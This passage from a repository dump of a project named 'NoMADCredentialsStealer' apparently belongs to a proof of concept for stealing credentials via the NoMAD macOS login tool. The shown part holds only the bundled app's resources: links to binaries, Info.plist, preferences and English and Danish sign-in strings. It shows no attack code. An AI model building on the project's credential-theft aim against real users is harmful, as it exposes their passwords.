| IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftAppKit.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftAppKit.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCore.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCore.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreData.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreData.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreGraphics.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreGraphics.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreImage.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftCoreImage.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftDarwin.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftDarwin.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftDispatch.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftDispatch.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftFoundation.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftFoundation.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftIOKit.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftIOKit.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftObjectiveC.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftObjectiveC.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftQuartzCore.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftQuartzCore.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftXPC.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Frameworks/libswiftXPC.dylib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BuildMachineOSBuild 6 | 16F2104 7 | CFBundleDevelopmentRegion 8 | en 9 | CFBundleExecutable 10 | NoMAD 11 | CFBundleIconFile 12 | AppIcon 13 | CFBundleIdentifier 14 | com.trusourcelabs.NoMAD 15 | CFBundleInfoDictionaryVersion 16 | 6.0 17 | CFBundleName 18 | NoMAD 19 | CFBundlePackageType 20 | APPL 21 | CFBundleShortVersionString 22 | 1.0.5 23 | CFBundleSignature 24 | ???? 25 | CFBundleSupportedPlatforms 26 | 27 | MacOSX 28 | 29 | CFBundleURLTypes 30 | 31 | 32 | CFBundleURLName 33 | nomad 34 | 35 | 36 | CFBundleVersion 37 | 663 38 | DTCompiler 39 | com.apple.compilers.llvm.clang.1_0 40 | DTPlatformBuild 41 | 8E3004b 42 | DTPlatformVersion 43 | GM 44 | DTSDKBuild 45 | 16E185 46 | DTSDKName 47 | macosx10.12 48 | DTXcode 49 | 0833 50 | DTXcodeBuild 51 | 8E3004b 52 | LSApplicationCategoryType 53 | public.app-category.utilities 54 | LSMinimumSystemVersion 55 | 10.10 56 | LSUIElement 57 | 58 | NSAppTransportSecurity 59 | 60 | NSAllowsArbitraryLoads 61 | 62 | NSAllowsArbitraryLoadsInWebContent 63 | 64 | NSExceptionDomains 65 | 66 | 67 | NSHumanReadableCopyright 68 | Copyright © 2016 Orchard & Grove. All rights reserved. 69 | NSMainNibFile 70 | MainMenu 71 | NSPrincipalClass 72 | NoMAD.NoMADApplication 73 | NSUserNotificationAlertStyle 74 | alert 75 | 76 | 77 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/MacOS/NoMAD: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/MacOS/NoMAD -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/PkgInfo: -------------------------------------------------------------------------------- 1 | APPL???? -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/AppIcon.icns: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/AppIcon.icns -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Assets.car: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Assets.car -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/InfoPlist.strings -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/Languages.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Lock Screen 6 | 7 | value 8 | Lock Screen 9 | comment 10 | Menu Item to Lock the Screen 11 | 12 | SignIn 13 | 14 | value 15 | Sign In 16 | comment 17 | Menu item to Sign In 18 | 19 | NoMADMenuController-Connected 20 | 21 | value 22 | 23 | comment 24 | Text in the menu bar to show that NoMAD can find the Domain 25 | 26 | NoMADMenuController-NotConnected 27 | 28 | value 29 | Not Connected 30 | comment 31 | Text in the menu bar to show that NoMAD can not find the Domain 32 | 33 | NoMADMenuController-ChangePassword 34 | 35 | value 36 | Change Password 37 | comment 38 | Menu Item to Change Password 39 | 40 | UserName 41 | 42 | value 43 | User Name 44 | comment 45 | User's full name 46 | 47 | NoMADMenuController-GetSoftware 48 | 49 | comment 50 | Menu item to open software portal. 51 | value 52 | Get Software 53 | 54 | NoMADMenuController-GetHelp 55 | 56 | value 57 | Get Help 58 | comment 59 | Menu item to open up the support options. 60 | 61 | NoMADMenuController-Preferences 62 | 63 | value 64 | Preferences 65 | comment 66 | Menu item to open Preferences window. 67 | 68 | NoMADMenuController-Quit 69 | 70 | value 71 | Quit 72 | comment 73 | Menu item to quit NoMAD. 74 | 75 | NoMADMenuController-RenewTickets 76 | 77 | comment 78 | Menu item to renew Kerberos tickets 79 | value 80 | Renew Tickets 81 | 82 | NoMADMenuController-PasswordExpiresInDays 83 | 84 | comment 85 | Long text for how many days until your password expires 86 | value 87 | Password expires in: %@ days 88 | 89 | PasswordDoesNotExpire 90 | 91 | value 92 | Password does not expire 93 | comment 94 | menu item for when the password has no expiration date 95 | 96 | PasswordChangeSuccessful 97 | 98 | value 99 | Password changed successfully. Note: it may take up to an hour for your password expiration time to be updated. 100 | comment 101 | message to let user know password changed successfully 102 | 103 | InvalidPassword 104 | 105 | value 106 | Invalid password. Please try again. 107 | comment 108 | error when password is wrong 109 | 110 | InvalidUsername 111 | 112 | value 113 | Invalid username. Please try again. 114 | comment 115 | error when username is wrong 116 | 117 | PasswordExpire 118 | 119 | value 120 | Your password has expired. Please reset your password now. 121 | comment 122 | error when password has expired 123 | 124 | PasswordAboutToExpire 125 | 126 | value 127 | Password about to expire! 128 | comment 129 | message when password is about to expire 130 | 131 | PasswordExpiresOn 132 | 133 | value 134 | Your network password is about to expire on 135 | comment 136 | Your network password is about to expire on <date> 137 | 138 | PasswordMismatch 139 | 140 | value 141 | New passwords don't match. 142 | comment 143 | error when new passwords don't match 144 | 145 | NetworkLocalMismatch 146 | 147 | value 148 | Your network and local passwords are not the same. Please enter the password for your Mac. 149 | comment 150 | error when network and local passwords do not match 151 | 152 | ValidCertificate 153 | 154 | value 155 | You already have a valid certificate. 156 | comment 157 | user already has a valid certificate 158 | 159 | Cancel 160 | 161 | value 162 | Cancel 163 | comment 164 | button for cancelling actions 165 | 166 | RequestAnyway 167 | 168 | value 169 | Request Anyway 170 | comment 171 | button to request anyway 172 | 173 | CertConnectionError 174 | 175 | value 176 | Connection error. Please ensure SSL certificates are trusted and the URL is correct for your X509 CA. 177 | comment 178 | message when Certificate Authority can't be reached 179 | 180 | CAConfigError 181 | 182 | value 183 | Please ensure your Certificate Authority settings are correct. 184 | comment 185 | error when CA can't be found 186 | 187 | d 188 | 189 | value 190 | d 191 | comment 192 | short form of days 193 | 194 | HomeSharepoint 195 | 196 | value 197 | Home Sharepoint 198 | comment 199 | Menu item for opening up a user's home sharepoint from their AD profile 200 | 201 | LoginWindow-OldPasswordLabel 202 | 203 | value 204 | Old Password 205 | comment 206 | Label for old password 207 | 208 | LoginWindow-PasswordLabel 209 | 210 | value 211 | Password 212 | comment 213 | Label for password 214 | 215 | NoMADMenuController-SmartcardSignIn 216 | 217 | value 218 | Smartcard Sign In 219 | comment 220 | PKINIT smartcard menu sign in 221 | 222 | NoMADMenuController-SignInWithSmartcard 223 | 224 | value 225 | Sign in with a Smartcard. 226 | comment 227 | PKINIT smartcard menu sign in tool tip 228 | 229 | NoMADMenuController-NotLoggedIn 230 | 231 | value 232 | Not logged in. 233 | comment 234 | User info for ticket life when not signed in 235 | 236 | NoMADMenuController-NotSignedIn 237 | 238 | value 239 | Not Signed In 240 | comment 241 | User info when not signed in 242 | 243 | NoMADMenuController-NoUser 244 | 245 | value 246 | No User 247 | comment 248 | User info when no user is available 249 | 250 | UserInformation-PasswordChanged 251 | 252 | value 253 | Password Changed 254 | comment 255 | Notification title when password changed 256 | 257 | UserInformation-PwdChangedSignInAgain 258 | 259 | value 260 | Your password was changed, please re-sign into NoMAD to update your password. 261 | comment 262 | Notification text asking to sign in again 263 | 264 | UserInformation-Ignore 265 | 266 | value 267 | Ignore 268 | comment 269 | Password change notification ignore button 270 | 271 | 272 | 273 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/LoginWindow.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/LoginWindow.nib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/MainMenu.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/MainMenu.nib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/PasswordChangeWindow.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/PasswordChangeWindow.nib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/PreferencesWindow.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/Base.lproj/PreferencesWindow.nib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/DefaultPreferences.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ADDomain 6 | 7 | AutoConfigure 8 | 9 | ChangePasswordType 10 | Kerberos 11 | DisplayName 12 | 13 | ExpeditedLookup 14 | 15 | ExportableKey 16 | 17 | GetHelpOptions 18 | 19 | GetHelpType 20 | 21 | Groups 22 | 23 | HidePrefs 24 | 25 | KerberosRealm 26 | 27 | LastCertificateExpiration 28 | 29 | LoginComamnd 30 | 31 | LoginItem 32 | 33 | LDAPServerList 34 | 35 | LocalPasswordSync 36 | 37 | LastUser 38 | 39 | LastPasswordWarning 40 | 1296000 41 | LastPasswordExpireDate 42 | 2016-11-23T02:28:33Z 43 | PasswordExpireAlertTime 44 | 1296000 45 | PasswordChangeOptions 46 | 47 | RenewTickets 48 | 49 | SecondsToRenew 50 | 7200 51 | SelfServicePath 52 | 53 | ShowHome 54 | 55 | SignInCommand 56 | 57 | StateChangeAction 58 | 59 | Template 60 | 61 | UserPrincipal 62 | 63 | UserPasswordExpireDate 64 | 65 | UserHome 66 | 67 | UserCommandTask1 68 | 69 | UserCommandName1 70 | 71 | UserCommandHotKey1 72 | 73 | UserPasswordSetDates 74 | 75 | UseKeychain 76 | 77 | UserShortName 78 | 79 | UserAging 80 | 81 | Verbose 82 | 83 | X509CA 84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/KeychainMinder.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/KeychainMinder.nib -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/InfoPlist.strings -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/Languages.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Lock Screen 6 | 7 | value 8 | Lås skærm 9 | comment 10 | Menu Item to Lock the Screen 11 | 12 | SignIn 13 | 14 | value 15 | Log ind 16 | comment 17 | Menu item to Sign In 18 | 19 | NoMADMenuController-Connected 20 | 21 | value 22 | 23 | comment 24 | Text in the menu bar to show that NoMAD can find the Domain 25 | 26 | NoMADMenuController-NotConnected 27 | 28 | value 29 | Ikke logget ind 30 | comment 31 | Text in the menu bar to show that NoMAD can not find the Domain 32 | 33 | NoMADMenuController-ChangePassword 34 | 35 | value 36 | Skift adgangskode 37 | comment 38 | Menu Item to Change Password 39 | 40 | UserName 41 | 42 | value 43 | Brugernavn 44 | comment 45 | User's full name 46 | 47 | NoMADMenuController-GetSoftware 48 | 49 | comment 50 | Menu item to open software portal. 51 | value 52 | Hent software 53 | 54 | NoMADMenuController-GetHelp 55 | 56 | value 57 | Få hjælp 58 | comment 59 | Menu item to open up the support options. 60 | 61 | NoMADMenuController-Preferences 62 | 63 | value 64 | Præferencer 65 | comment 66 | Menu item to open Preferences window. 67 | 68 | NoMADMenuController-Quit 69 | 70 | value 71 | Afslut 72 | comment 73 | Menu item to quit NoMAD. 74 | 75 | NoMADMenuController-RenewTickets 76 | 77 | comment 78 | Menu item to renew Kerberos tickets 79 | value 80 | Forny billet 81 | 82 | NoMADMenuController-PasswordExpiresInDays 83 | 84 | comment 85 | Long text for how many days until your password expires 86 | value 87 | Adgangskode udøber om %@ dag(e) 88 | 89 | PasswordDoesNotExpire 90 | 91 | value 92 | Din adgangskode udløber aldrig 93 | comment 94 | menu item for when the password has no expiration date 95 | 96 | PasswordChangeSuccessful 97 | 98 | value 99 | Din adgangskode er blevet ændret. Bemærk at der kan gå op til en time før det er fuldstændig opdateret (alle steder). 100 | comment 101 | message to let user know password changed successfully 102 | 103 | InvalidPassword 104 | 105 | value 106 | Ugyldig adgangskode. Prøv venligst igen 107 | comment 108 | error when password is wrong 109 | 110 | InvalidUsername 111 | 112 | value 113 | Ugyldigt brugernavn. Prøv venligst igen 114 | comment 115 | error when username is wrong 116 | 117 | PasswordExpire 118 | 119 | value 120 | Din adgangskode er udløbet. 121 | comment 122 | error when password has expired 123 | 124 | PasswordAboutToExpire 125 | 126 | value 127 | Din adgangskode er tæt på at udløbe - skift den! 128 | comment 129 | message when password is about to expire 130 | 131 | PasswordExpiresOn 132 | 133 | value 134 | Din netværks adgangskode udløber 135 | comment 136 | Your network password is about to expire on <date> 137 | 138 | PasswordMismatch 139 | 140 | value 141 | De nye adgangskoder er ikke ens 142 | comment 143 | error when new passwords don't match 144 | 145 | NetworkLocalMismatch 146 | 147 | value 148 | Din adgangskode til din Mac og netværks adgangskoden matcher ikke. Indtast adgangskode til netværket for at opdatere. 149 | comment 150 | error when network and local passwords do not match 151 | 152 | ValidCertificate 153 | 154 | value 155 | Har gyldigt certifkat 156 | comment 157 | user already has a valid certificate 158 | 159 | Cancel 160 | 161 | value 162 | Annuller 163 | comment 164 | button for cancelling actions 165 | 166 | RequestAnyway 167 | 168 | value 169 | Anmod alligevel 170 | comment 171 | button to request anyway 172 | 173 | CertConnectionError 174 | 175 | value 176 | Tilslutning fejlede! Sørg for at SSL certifikat er gyldigt og adresse til X509 CA er korrekt. 177 | comment 178 | message when Certificate Authority can't be reached 179 | 180 | CAConfigError 181 | 182 | value 183 | Sørg for at parametrene for CA er korrekte 184 | comment 185 | error when CA can't be found 186 | 187 | d 188 | 189 | value 190 | d 191 | comment 192 | short form of days 193 | 194 | HomeSharepoint 195 | 196 | value 197 | Hjemmemappe 198 | comment 199 | Menu item for opening up a user's home sharepoint from their AD profile 200 | 201 | LoginWindow-OldPasswordLabel 202 | 203 | value 204 | Old Password 205 | comment 206 | Label for old password 207 | 208 | LoginWindow-PasswordLabel 209 | 210 | value 211 | Password 212 | comment 213 | Label for password 214 | 215 | NoMADMenuController-SmartcardSignIn 216 | 217 | value 218 | Smartcard Sign In 219 | comment 220 | PKINIT smartcard menu sign in 221 | 222 | NoMADMenuController-SignInWithSmartcard 223 | 224 | value 225 | Sign in with a Smartcard. 226 | comment 227 | PKINIT smartcard menu sign in tool tip 228 | 229 | NoMADMenuController-NotLoggedIn 230 | 231 | value 232 | Not logged in. 233 | comment 234 | User info for ticket life when not signed in 235 | 236 | NoMADMenuController-NotSignedIn 237 | 238 | value 239 | Not Signed In 240 | comment 241 | User info when not signed in 242 | 243 | NoMADMenuController-NoUser 244 | 245 | value 246 | No User 247 | comment 248 | User info when no user is available 249 | 250 | UserInformation-PasswordChanged 251 | 252 | value 253 | Password Changed 254 | comment 255 | Notification title when password changed 256 | 257 | UserInformation-PwdChangedSignInAgain 258 | 259 | value 260 | Your password was changed, please re-sign into NoMAD to update your password. 261 | comment 262 | Notification text asking to sign in again 263 | 264 | UserInformation-Ignore 265 | 266 | value 267 | Ignore 268 | comment 269 | Password change notification ignore button 270 | 271 | 272 | 273 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/LoginWindow.strings: -------------------------------------------------------------------------------- 1 | 2 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */ 3 | "6VQ-hA-QCl.title" = "Log ind"; 4 | 5 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */ 6 | "9um-Qh-jjA.title" = "Skift adgangskode"; 7 | 8 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */ 9 | "F0z-JX-Cv5.title" = "Log ind"; 10 | 11 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */ 12 | "IM1-92-Doz.title" = "Ny adgangskode"; 13 | 14 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */ 15 | "NYi-E8-wXM.title" = "Brugernavn"; 16 | 17 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */ 18 | "Tdf-0W-Q1c.title" = "Ny adgangskode"; 19 | 20 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */ 21 | "k8Q-BQ-grp.title" = "Adgangskode"; 22 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/MainMenu.strings: -------------------------------------------------------------------------------- 1 | 2 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */ 3 | "0IM-ZO-KLA.ibShadowedToolTip" = "Skift din adgangskode til netværket."; 4 | 5 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */ 6 | "0IM-ZO-KLA.title" = "Skift adgangskode"; 7 | 8 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */ 9 | "3Pf-2O-qR7.ibShadowedToolTip" = "Lås din skærm."; 10 | 11 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */ 12 | "3Pf-2O-qR7.title" = "Lås skærm"; 13 | 14 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */ 15 | "3yQ-ft-CVW.title" = "Indstillinger"; 16 | 17 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */ 18 | "A9U-v2-LiT.ibShadowedToolTip" = "Certifikat udløbsdato."; 19 | 20 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */ 21 | "A9U-v2-LiT.title" = "Dato for certifikatets udløb."; 22 | 23 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */ 24 | "AlW-9M-CK2.ibShadowedToolTip" = "Hent et certifikat"; 25 | 26 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */ 27 | "AlW-9M-CK2.title" = "Hent certifikat"; 28 | 29 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */ 30 | "CUr-ED-n29.ibShadowedToolTip" = "Tid før din adgangskode til netværket udløber."; 31 | 32 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */ 33 | "CUr-ED-n29.title" = "adgangskode udløber"; 34 | 35 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */ 36 | "QYf-mL-9ta.ibShadowedToolTip" = "Tid til din Kerberos billet udløber."; 37 | 38 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */ 39 | "QYf-mL-9ta.title" = "Billet er udløbet"; 40 | 41 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */ 42 | "Wa6-S1-lXm.ibShadowedToolTip" = "Log ind med din netværkskonto."; 43 | 44 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */ 45 | "Wa6-S1-lXm.title" = "Log ind"; 46 | 47 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */ 48 | "XL2-b8-IwM.ibShadowedToolTip" = "Log ind med din netværkskonto."; 49 | 50 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */ 51 | "XL2-b8-IwM.title" = "Log ind"; 52 | 53 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */ 54 | "fuo-5h-NuR.title" = "Hent Software"; 55 | 56 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */ 57 | "gM7-FQ-f0l.title" = "Afslut"; 58 | 59 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */ 60 | "kql-Bl-QJE.title" = "Skjult punkt 1"; 61 | 62 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */ 63 | "pC8-5a-Aec.title" = "Dump logs"; 64 | 65 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */ 66 | "rbx-v6-fJx.title" = "Få hjælp"; 67 | 68 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */ 69 | "uQI-ol-UUw.ibShadowedToolTip" = "Dit netværks brugernavn."; 70 | 71 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */ 72 | "uQI-ol-UUw.title" = "bruger"; 73 | 74 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */ 75 | "w1A-iF-wAU.ibShadowedToolTip" = "Log ud af netværket."; 76 | 77 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */ 78 | "w1A-iF-wAU.title" = "Log ud"; 79 | 80 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */ 81 | "wcV-DA-kNE.title" = "Software og Hjælp"; 82 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/da.lproj/PasswordChangeWindow.strings: -------------------------------------------------------------------------------- 1 | 2 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "18r-Oq-wpD"; */ 3 | "18r-Oq-wpD.title" = "Ny adgangskode"; 4 | 5 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */ 6 | "F0z-JX-Cv5.title" = "Skift adgangskode"; 7 | 8 | /* Class = 